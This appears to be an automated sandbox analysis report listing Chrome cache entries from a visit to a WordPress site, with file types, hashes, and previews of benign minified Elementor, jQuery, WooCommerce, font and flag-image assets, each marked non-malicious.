Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[819],{9220:(e,t,n)=>{"use strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(8135));class _default extends elementorModules.ViewModule{constructor(){super(...arguments),this.documents={},this.initDocumentClasses(),this.attachDocumentsClasses()}getDefaultSettings(){return{selectors:{document:".elementor"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$documents:jQuery(e.document)}}initDocumentClasses(){this.documentClasses={base:s.default},elementorFrontend.hooks.doAction("elementor/frontend/documents-manager/init-classes",this)}addDocumentClass(e,t){this.documentClasses[e]=t}attachDocumentsClasses(){this.elements.$documents.each(((e,t)=>this.attachDocumentClass(jQuery(t))))}attachDocumentClass(e){const t=e.data(),n=t.elementorId,i=t.elementorType,s=this.documentClasses[i]\|\|this.documentClasses.base;this.documents[n

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6105), with no line terminators
Category:	dropped
Size (bytes):	6106
Entropy (8bit):	5.226221049103389
Encrypted:	false
SSDEEP:
MD5:	0E448BE285BA24B5BA6B0F434D1601B1
SHA1:	B7ED16870207288422D08A9B668398E6AA9C4C98
SHA-256:	4C70D0F37FE3EF48C754BD1F11A7D30F052393A98FC4677F719569BD58E3713C
SHA-512:	695432491DA1F9B9801A088C1F19191E8CB7DE040407314EEC3272882F3A001F065D7A74E7C4A3FF400948622CAE0EC3B2C2E63E2F5E17D6F9B21437DFBB43D7
Malicious:	false
Preview:	(()=>{var e={176:()=>{function e(e,t){const n=!!e.getAttribute("data-show-if"),r=!!e.getAttribute("data-hide-if"),o=n?e.getAttribute("data-show-if").split(":"):e.getAttribute("data-hide-if").split(":"),a=o[0],s=(o.length>1?o[1]:"").split("\|"),i=function(e,t,n){const r=[],o=e.querySelectorAll(`input[name="${t}"], select[name="${t}"], textarea[name="${t}"], button[name="${t}"]`);return[].forEach.call(o,(o=>{const a=o.type.toLowerCase();if("radio"!==a&&"checkbox"!==a\|\|o.checked){if("button"===a\|\|"submit"===a\|\|"BUTTON"===o.tagName){if((!n\|\|n.target!==o)&&e.dataset[t]!==o.value)return;e.dataset[t]=o.value}r.push(o.value)}})),0===r.length&&r.push(""),r}(function(e){let t=e;for(;t.parentElement;)if(t=t.parentElement,"FORM"===t.tagName)return t;return null}(e),a,t);let c=!1;for(let e=0;e<i.length;e++){const t=i[e];if(c=s.indexOf(t)>-1\|\|s.indexOf("")>-1&&t.length>0,c)break}e.style.display=n?c?"":"none":c?"none":"";const l=e.querySelectorAll("input, select, textarea");[].forEach.call(l,(e=>{n&

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3037), with no line terminators
Category:	dropped
Size (bytes):	3037
Entropy (8bit):	5.0276389382892885
Encrypted:	false
SSDEEP:
MD5:	8BC2109EF48CABF7A26B73D7C3536C5F
SHA1:	0E0DFEE3A3975EAFC3DD55F190D1DEB3C6C55D3B
SHA-256:	8634AA7A3AC0BC6D359B458C8922E9D3269F64C1355B329BFE215BEB12773AF8
SHA-512:	D40AFE8509734CB8AA48CD361D68D614B2540A502A9CCFFB76E6138DE25648F8E1800D2D204111A6026246E1FA5D84E5B17772DDA80F215078AE037452B34853
Malicious:	false
Preview:	jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},this.onAddToCart).on("click",".remove_from_cart_button",{addToCartHandler:this},this.onRemoveFromCart).on("added_to_cart",this.updateButton).on("ajax_request_not_sent.adding_to_cart",this.updateButton).on("added_to_cart removed_from_cart",{addToCartHandler:this},this.updateFragments)};t.prototype.addRequest=function(t){this.requests.push(t),1===this.requests.length&&this.run()},t.prototype.run=function(){var t=this,a=t.requests[0].complete;t.requests[0].complete=function(){"function"==typeof a&&a(),t.requests.shift(),0<t.requests.length&&t.run()},d.ajax(this.requests[0])},t.prototype.onAddToCart=function(t){var a=d(this);if(a.is(".ajax_add_to_cart")){if(!a.attr("data-product_id"))return!0;if(t.preventDefault(),a.removeClass("added"),a.ad

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12198), with no line terminators
Category:	dropped
Size (bytes):	12198
Entropy (8bit):	5.031745242580206
Encrypted:	false
SSDEEP:
MD5:	3819C3569DA71DAEC283A75483735F7E
SHA1:	ECD40A5CC6F0B76200C454CA880210DC301CFAB8
SHA-256:	214674CC77ABA35AB3567B88E2739FD08E8E96C61D279559AD61874069683EA0
SHA-512:	2710655DFF46653DAEB3A6E3F6D36F885E51D5B375738EE353ACA40C6F66AE1A7DECE57039D58747012ED9EA2822191143C06F270123B8CC580F6A41B8E8AEF4
Malicious:	false
Preview:	!function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+keyCounter,this.options=Waypoint.Adapter.extend({},Waypoint.defaults,options),this.element=this.options.element,this.adapter=new Waypoint.Adapter(this.element),this.callback=options.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=Waypoint.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=Waypoint.Context.findOrCreateByElement(this.options.context),Waypoint.offsetAliases[this.options.offset]&&(this.options.offset=Waypoint.offsetAliases[this.options.offset]),this.group.add(this),this.context.add(this),allWaypoints[this.key]=this,keyCounter+=1}var keyCounter=0,allW

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	560
Entropy (8bit):	7.242595674521302
Encrypted:	false
SSDEEP:
MD5:	1327394E0F44DBF22050552153223731
SHA1:	78089A463589A4C3AC5902872685D4F81D982A5B
SHA-256:	6ACC22780306B8D263AA9E7352AE8C7110D9532CD6A3F1FFF2444F06CEA4043A
SHA-512:	79456F4C79DCEDBCEF20341D4813C46AC8AD795AE19236888145A0290C1AAAC76D50421BEF4820CAA13E801F080EF3A9982A6EC699DA4DAAC2ECD1F57576D51C
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 13:32:15 +0100n.W.....tIME.....$:o..j....pHYs...........~.....gAMA......a.....IDATx.cd.......$....H..j ...-.A..a..Tm?...d.P.K...0....'Y.;Y.!z....:.00A]...,..~..k9.....\..6...J).(.nN........u....n..^.f.....i...Mq.G......w1P..... e.......@mr...<..U ..:y.z..........l_....%..s.....................E.&&Nf...i/.....0..7.>S..g3....}......../P....;...k.............6f.g.......a.>..,.....?..vM...OB.....SO.r..p.!,H...V...l.p.-F.<..dd(.i...zG...n..g1...D[...0.....3&...k.3....IEND.B`.

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	118179
Entropy (8bit):	5.360946147154213
Encrypted:	false
SSDEEP:
MD5:	197C586E3D989EEF70D1030D010F7035
SHA1:	9FEF5F10E5814A35D081AA4E5221C1E0AEBA9E11
SHA-256:	83A97033414EF0D0BF41F819757F7DE3FFB976D3EFD9B831C629A9DB3936603A
SHA-512:	C56DFE8E595807B179CFB86C6449D37E6F96CB80A2F78197042B733608357CFCBB5237A5C2A54A1017F73F7D344370CF544459B4B52E1D3859F5D39611BEA5CC
Malicious:	false
URL:	https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=auto&ver=6.0.2
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;.

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	376
Entropy (8bit):	6.809026691996442
Encrypted:	false
SSDEEP:
MD5:	9C8EC8BDA040F304133FE1A873394F0C
SHA1:	06CA3C5DD2E513085E3D6F40AA59B4274E36EE93
SHA-256:	F69D80A51C953686093BC222C24DA5D054C393D1BC1E8FDDCCA71F2210358C03
SHA-512:	DAF048A1804802954867CBAB8C6C00E9A0C32D932F25A22C24ECF969967F70D6FA72E2E08226BDD7C458C99010583788DBE1AB3FB67F1C420012B736A358F78F
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 13:25:46 +01004......tIME......&lx......pHYs...........~.....gAMA......a.....IDATx.cd.......$....H..j ....?.d.....X@......s.a.v.!...._.......Ox0t.....f}.Zr`...=.....2.._Y....icB6..... .......Q.9?....!m...m{....#EH.A...J(....&.`...........0_.......a...^.j0"".......OhBa.&+d;..Pm..UE-..`~....IEND.B`.

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5985), with no line terminators
Category:	downloaded
Size (bytes):	5985
Entropy (8bit):	4.545003286362224
Encrypted:	false
SSDEEP:
MD5:	0FE8103CBC978FD1BEB88E681B2E4A67
SHA1:	44A0074030A133B5DDBA57651DCEE0E0BB43B0D6
SHA-256:	7DC4C65AD7490CA64CB346303138AA3D4426D8B270A8C995E6F558CECB19E689
SHA-512:	4CF5F0465D81A527D5EEC31C3026D13B9AD6C0A99CE0EC49F0AF4918692109768AA5DE2F68D7E6B0391804DF963600A1647269B76E38E6DC2F668809BF094C70
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-smallscreen.min.css?ver=3.7.9
Preview:	.woocommerce table.shop_table_responsive thead,.woocommerce-page table.shop_table_responsive thead{display:none}.woocommerce table.shop_table_responsive tbody tr:first-child td:first-child,.woocommerce-page table.shop_table_responsive tbody tr:first-child td:first-child{border-top:0}.woocommerce table.shop_table_responsive tbody th,.woocommerce-page table.shop_table_responsive tbody th{display:none}.woocommerce table.shop_table_responsive tr,.woocommerce-page table.shop_table_responsive tr{display:block}.woocommerce table.shop_table_responsive tr td,.woocommerce-page table.shop_table_responsive tr td{display:block;text-align:right!important}.woocommerce table.shop_table_responsive tr td.order-actions,.woocommerce-page table.shop_table_responsive tr td.order-actions{text-align:left!important}.woocommerce table.shop_table_responsive tr td::before,.woocommerce-page table.shop_table_responsive tr td::before{content:attr(data-title) ": ";font-weight:700;float:left}.woocommerce table.shop_ta

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43771)
Category:	downloaded
Size (bytes):	88932
Entropy (8bit):	4.916224699709446
Encrypted:	false
SSDEEP:
MD5:	B7915926FE42D76E9C802353AB01DAE4
SHA1:	3A8192A4312F25F53DE25B100D62829C0F14D67C
SHA-256:	D7705700D24D5919255576642AD2C28BFC790390B7183A369038FF5C1E814D51
SHA-512:	4B121702618150EC966AF2EF5B6E104AFA2BF9BBC50E4ECCDF7847B7C2819B205E28310E662AB73E343EBC2BA95B35A7AB2649E9999DCFDAA8AFFCFB92C3D9EE
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.2
Preview:	@charset "UTF-8";.wp-block-archives-dropdown label{display:block}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{margin:0 0 1em}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-align:center;text-decoration:none;word-break:break-word;box-sizing:border-box}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{f

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32569)
Category:	downloaded
Size (bytes):	32609
Entropy (8bit):	5.293385175362499
Encrypted:	false
SSDEEP:
MD5:	93702100295D778C25763497CCA6523F
SHA1:	F03BBD609B28C89875882A1741EA27C6018F2D59
SHA-256:	DCF3ADD9EE30897E196931DB9947CD4FA29F8B9244B49938F1590ED6FABE4002
SHA-512:	CC149BCBDC12DE0AE5CFFEE3ECF4D545410C43B77D8C377537F1520AAC01E12B49E492F50F3D5674D7AA18B990C0B17C3EA4FFD4DFB1D84040877A35E52991F7
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8
Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[354],{381:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=(e,t)=>{t=Array.isArray(t)?t:[t];for(const r of t)if(e.constructor.name===r.prototype[Symbol.toStringTag])return!0;return!1}},8135:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.ViewModule{getDefaultSettings(){return{selectors:{elements:".elementor-element",nestedDocumentElements:".elementor .elementor-element"},classes:{editMode:"elementor-edit-mode"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$elements:this.$element.find(e.elements).not(this.$element.find(e.nestedDocumentElements))}}getDocumentSettings(e){let t;if(this.isEdit){t={};const e=elementor.settings.page.model;jQuery.each(e.getActiveControls(),(r=>{t[r]=e.attributes[r]}))}else t=this.$element.data("elementor-setti

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1305)
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	5.249494188222103
Encrypted:	false
SSDEEP:
MD5:	8637362089372427B52FA10A43D8109C
SHA1:	6009BED674718329DCE6055AB09FA95181162D81
SHA-256:	B8E78B48ACC08CE31457AFF168D6FB2C814D51A8739A97693CDBA585D60F5B35
SHA-512:	2674895F82BD2002A0C31C51FC139B01BDD78A22675252D72D99C1310FAA2F31A6A0E32F5A0583AD8A08267369182F84828FA069A57E9EBEE5866F247CCB2571
Malicious:	false
Preview:	/! This file is auto-generated /.window.wp=window.wp\|\|{},function(s){var t="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(e){var a,n={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^\}]+?)\}\}(?!\})/g,variable:"data"};return function(t){return(a=a\|\|_.template(s("#tmpl-"+e).html(),n))(t)}}),wp.ajax={settings:t.ajax\|\|{},post:function(t,e){return wp.ajax.send({data:_.isObject(t)?t:_.extend(e\|\|{},{action:t})})},send:function(n,t){var e,a;return _.isObject(n)?t=n:(t=t\|\|{}).data=_.extend(t.data\|\|{},{action:n}),t=_.defaults(t\|\|{},{type:"POST",url:wp.ajax.settings.url,context:this}),(e=(a=s.Deferred(function(a){t.success&&a.done(t.success),t.error&&a.fail(t.error),delete t.success,delete t.error,a.jqXHR=s.ajax(t).done(function(t){var e;"1"!==t&&1!==t\|\|(t={success:!0}),_.isObject(t)&&!_.isUndefined(t.success)?(e=this,a.done(function(){n&&n.data&&"query-attachments"===n.data.action&&a.jqXHR.hasOwnProperty("getResponseHeader

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (754), with no line terminators
Category:	downloaded
Size (bytes):	754
Entropy (8bit):	4.996986043161646
Encrypted:	false
SSDEEP:
MD5:	AFB55C29BDBCFC262D9FA56743572CAD
SHA1:	D4B6CB9DF2B1B5477CD968FB05CF5FAA1D13D6BF
SHA-256:	C30DAB20B677F2B13F42A4A04385A3C6D380FA023A4A1C32F45F2996E152BFBA
SHA-512:	458D91D1274AF1448E950803384DA02C7896521EF7DC47AC7735A8A37226B5292EBA33DEF05F72F3AD435E2ECF2AFDF5D79A6B7B91D145A2DE3074B0C80997D3
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5
Preview:	"use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.length&&t.initFields(o)})},initFields:function(e){wpforms.ready(),"undefined"!=typeof wpformsModernFileUpload&&wpformsModernFileUpload.init(),"undefined"!=typeof wpformsRecaptchaLoad&&("recaptcha"===wpformsElementorVars.captcha_provider&&"v3"===wpformsElementorVars.recaptcha_type?"undefined"!=typeof grecaptcha&&grecaptcha.ready(wpformsRecaptchaLoad):wpformsRecaptchaLoad()),r(o).trigger("wpforms_elementor_form_fields_initialized",[e])}};return t}(document,(window,jQuery));WPFormsElementorFrontend.init();

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	7.0640904097838995
Encrypted:	false
SSDEEP:
MD5:	455D193E78AF71B62F1B6D4B59F638E6
SHA1:	91E13E114F7F84B9D2F34D78336EEF6BBF884C2D
SHA-256:	0D2884EE044FBEF52FE2EF37B8C571B5B4CF498EB158CECEC61FCA11E490A44A
SHA-512:	9D53A0775B9C746F7B73E684CF0E5DB4A8F114F6E187020F31D7E5839F9AD2F5AE5AB17C3342F5AD8BF8E7270B182C290CD09E624B7662009E08C9E7407254A7
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:48 +0100.......tIME......6..lH....pHYs...........~.....gAMA......a.....IDATx...j.@........P.P..9..=.9z..C....H..&.q7.$.....s.......=9.[>.<.KZK....P..%G..^.j.$M.q..X.h...n.._r:QE.v.:..\.:.."yY...Ae.@.8...x..Yj.R87...?.U.../E.'F....o....G..."Y'V.v.zR:.4.-.P.{.QZ.~da..`....~....m..m~..T.S.WF.....IEND.B`.

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89521
Entropy (8bit):	5.289973268315515
Encrypted:	false
SSDEEP:
MD5:	02DD5D04ADD4759122013C5AB4DC5CC2
SHA1:	A45A56E396AC549B4FF39B696CE9E0C16A7612DE
SHA-256:	BD4DE6A3FC0FB68D6F76BA7B93514B96A92E585C295B5351C31AD92A4B0777EA
SHA-512:	04690D9875E98F5AE6BF94F5C71B7A0177B374BC09609A0F58312E1C337348749A40E07FE226737DC248BD8FE2F6A489071258619AFFC7F1DF644E4255159615
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16290), with no line terminators
Category:	dropped
Size (bytes):	16290
Entropy (8bit):	5.1029343906507885
Encrypted:	false
SSDEEP:
MD5:	F8F6DF31AC65B2087BF263E73E03B578
SHA1:	2AF7C97962DC88046FF4887095ED75D0AF9D0614
SHA-256:	CC2982E4DDFA3DAEC1C86AB097A4374478176753BC5F288DD1AA811B8BEE8577
SHA-512:	26348783209C67455978186CDCB5E1AC4AF28332130D7FB507F8E4BD23801FD9259811B0B4AB4FF14A2B0DD8E665B69CA43B38DD1AC2AD3C0AD96EF4994FD866
Malicious:	false
Preview:	var astraGetParents=function(e,t){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.matchesSelector\|\|Element.prototype.mozMatchesSelector\|\|Element.prototype.msMatchesSelector\|\|Element.prototype.oMatchesSelector\|\|Element.prototype.webkitMatchesSelector\|\|function(e){for(var t=(this.document\|\|this.ownerDocument).querySelectorAll(e),a=t.length;0<=--a&&t.item(a)!==this;);return-1<a});for(var a=[];e&&e!==document;e=e.parentNode)(!t\|\|e.matches(t))&&a.push(e);return a},getParents=function(e,t){console.warn("getParents() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraGetParents() instead."),astraGetParents(e,t)},astraToggleClass=function(e,t){e.classList.contains(t)?e.classList.remove(t):e.classList.add(t)},toggleClass=function(e,t){console.warn("toggleClass() function has been deprecated since version 2.5.0 or above of Astra Theme and will be removed in the future. Use astraToggleClass() instead."),astr

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	22525
Entropy (8bit):	4.704204399920957
Encrypted:	false
SSDEEP:
MD5:	3BF8EAC2ECA9553B53325653753A6F7E
SHA1:	5B3F0A47502FF3145EE56EFCCB52DD4718A30F56
SHA-256:	3791E8200FBC99B6682DA3376C0308DA7AAE1B953D048AABE240BD076EEB5C0F
SHA-512:	1F56AF45B1C9E1DD8406AAE9303037D66B6C2DB83EE1419EBC248EB39B2620E926EE14D6182248D545C17A122F295351D1FF4F4D0A13C3BA9C3A8E37576E37FC
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-floater-language-switcher.css?ver=2.8.7
Preview:	.trp-language-switcher-container.trp-floater-ls-names.trp-bottom-right.trp-color-light {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-bottom-right.trp-color-dark {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-top-right.trp-color-light {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-top-right.trp-color-dark {. min-width: 200px;.}....trp-language-switcher-container.trp-floater-ls-names.trp-bottom-left.trp-color-light {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-bottom-left.trp-color-dark {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-top-left.trp-color-light {. min-width: 200px;.}..trp-language-switcher-container.trp-floater-ls-names.trp-top-left.trp-color-dark {. min-width: 200px;.}.....#trp-floater-ls.trp-floater-ls-flags #trp-floater-ls-current-language .trp-floater-ls-disabled-language.trp-ls

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	391
Entropy (8bit):	7.0640904097838995
Encrypted:	false
SSDEEP:
MD5:	455D193E78AF71B62F1B6D4B59F638E6
SHA1:	91E13E114F7F84B9D2F34D78336EEF6BBF884C2D
SHA-256:	0D2884EE044FBEF52FE2EF37B8C571B5B4CF498EB158CECEC61FCA11E490A44A
SHA-512:	9D53A0775B9C746F7B73E684CF0E5DB4A8F114F6E187020F31D7E5839F9AD2F5AE5AB17C3342F5AD8BF8E7270B182C290CD09E624B7662009E08C9E7407254A7
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:48 +0100.......tIME......6..lH....pHYs...........~.....gAMA......a.....IDATx...j.@........P.P..9..=.9z..C....H..&.q7.$.....s.......=9.[>.<.KZK....P..%G..^.j.$M.q..X.h...n.._r:QE.v.:..\.:.."yY...Ae.@.8...x..Yj.R87...?.U.../E.'F....o....G..."Y'V.v.zR:.4.-.P.{.QZ.~da..`....~....m..m~..T.S.WF.....IEND.B`.

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15660)
Category:	dropped
Size (bytes):	18617
Entropy (8bit):	4.746740754378132
Encrypted:	false
SSDEEP:
MD5:	32BEB68A374E3AEAC00ABDF9E12B84EA
SHA1:	B5D18AA625E8696DD9D07CD0869337717B211AE0
SHA-256:	5AAD5FBD4238981A9FF5E2772FF1353DFE1A801FB49542FE157418C1438F7782
SHA-512:	8FC41038B4DC2FC2465422FB3144B71C2ACD2F4552607369314FEC9B7F561B7A3919CDC4219DF2089395241168FFBFE29E67DDDA834E66C27E4C88066C8F4496
Malicious:	false
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a]

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	777
Entropy (8bit):	4.683346533378822
Encrypted:	false
SSDEEP:
MD5:	AB55C224299EA8F0FE7BF738772CC650
SHA1:	CE2274025A51BFDAEFB4C2EBC65EBF5085103F38
SHA-256:	B10AE8FE4C3D47D2975EC636E69F46B3240F0870A8B282C9585360C17E537002
SHA-512:	3ACB17811E7799A98606FD346BD892956E83392E3FB3FB36EF36E87FE5518E3C80562E2CE46D41235CFECFBC11BD235092CC7C328F7E5F7E5A5E119E3E0372D0
Malicious:	false
